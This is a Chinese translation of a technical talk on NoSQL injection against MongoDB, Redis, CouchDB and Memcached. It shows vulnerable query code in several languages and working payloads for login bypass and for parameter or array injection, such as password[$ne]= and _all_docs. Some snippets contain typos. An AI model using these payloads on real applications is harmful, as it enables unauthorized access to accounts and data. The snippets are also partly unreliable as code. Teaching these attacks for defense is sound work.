NoSql Injection - Patrick Spiegel(翻译)

简介

文章目录

SCOPE

数据库 数据类型 排名
mongoDB 文档存储 5.
redis 键值对存储 9.
memcached 键值对存储 23.
CouchDB 文档存储 26.

node,php,python,ruby等通常使用NoSql数据库,为了更好的利用NoSql注入,需要部署对应的环境来进行测试。

攻击模型

环境

  1. 攻击者需要了解目标应用部署的技术栈,包括应用服务器、驱动、框架和数据库;
  2. 攻击者可以在已授权的正常用户中向服务器端发送任意请求;

目标

  1. 修改查询参数, 使数据库执行额外的查询;
  2. 可以触发意外的CRUD操作;

总览

am_overview

NoSql注入 - 攻击者

  • 了解非结构化数据查询语言
  • 具有多个数据库环境的多样化操作系统
  • 客户端通过RESTfull接口访问数据库

注入攻击

已知漏洞

  • PHP,NodeJs + MongoDB:登陆绕过
  • 字符串连接依然是json和script参数的问题(读取配置)
  • 逃避驱动,如:Memcached

MongoDB 登陆绕过

nodejs 登陆绕过

1
2
3
4
5
// NodeJS with Express.js - 后台代码
db.collection("users").find({
"user": req.query.user,
"password": req.query.password
});

正常登陆链接: https://example.org/login?user=patrick&password=1234
exp: https://example.org/login?user=patrick&password[%24ne]=

1
2
3
4
5
// NodeJS with Express.js - 后台代码
db.collection("users").find({
"user": "patrick",
"password": {"&ne": ""}
});

其他语言类似代码:

1
2
3
4
5
// PHP
$collection->find(array(
'user' => $_GET['user'],
'password' => $_get['password']
));

1
2
3
4
5
# Ruby on Rails
db['users'].find({
:user => req.params['user'],
:password => req.params['password']
})
1
2
3
4
5
# Python with Django
db.users.find({
"user": request.GET['user'],
"password": request.GET['password']
})

post请求注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# json data
POST /login HTTP/1.1
Host: example.org
Content-Type: application/json
Content-Length: 38

{'user': 'patrick', 'password': {'&gt': ''}}


# form data
POST /login HTTP/1.1
Host: example.org
Content-Type: application/json
Content-Length: 29

user=Patrick&password[%24ne]=

Redis 参数重写注入

1
2
3
4
5
// NodeJS with Express.js
RedisClient.Exprieat(
req.query.key,
new Date("November 8, 2026 11:13:00").getTime()
);

通过注入数组重写所有的参数, 只有NodeJS的Redis驱动受影响。payload: …/expire?key[]=foo&key[]=1117542887

CounchDB 登陆绕过

注入selector查询条件绕过登陆

1
2
3
4
5
6
7
8
// NodeJS with Express.js
function checkCredentials(user, password, callback) {
var options = {'selector': {'user': user, 'password': password}};
couch.use('users').get('_find', options, (err, res) => {
callback(res.docs.length === 1);
});
}
checkCredentials(req.query.user, req.query.password, handleResult);

payload: login?user=patrick&password[%24ne]=

使用特殊的文档__all_docs和未定义的password绕过登陆

1
2
3
4
5
6
7
8
// NodeJS with Express.js
function checkUser(user, password, callback) {
nano.use('users').get(user, (err, res) => {
callback(res.password === password);
});
}

checkUser(req,query.user, req.query.password, handleResult);

payload: https://example.org/login?user=_all_docs

Memcached 数组注入

数组注入绕过应用层检查

1
2
3
4
5
6
7
8
9
10
11
function getCache(key) {
if (key.indexOf('auth_') === 0{
callback("Invalid key!");
} else{
memcached.get(key, (err, body) => {
callback(err || body);
}
}
}

getCache(req.query.key, handleResult);

payload: https://example.org?/getCache?key[]=auth_patrick

owefsad wechat
进击的DevSecOps,持续分享SAST/IAST/RASP的技术原理及甲方落地实践。如果你对 SAST、IAST、RASP方向感兴趣,可以扫描下方二维码关注公众号,获得更及时的内容推送。
0%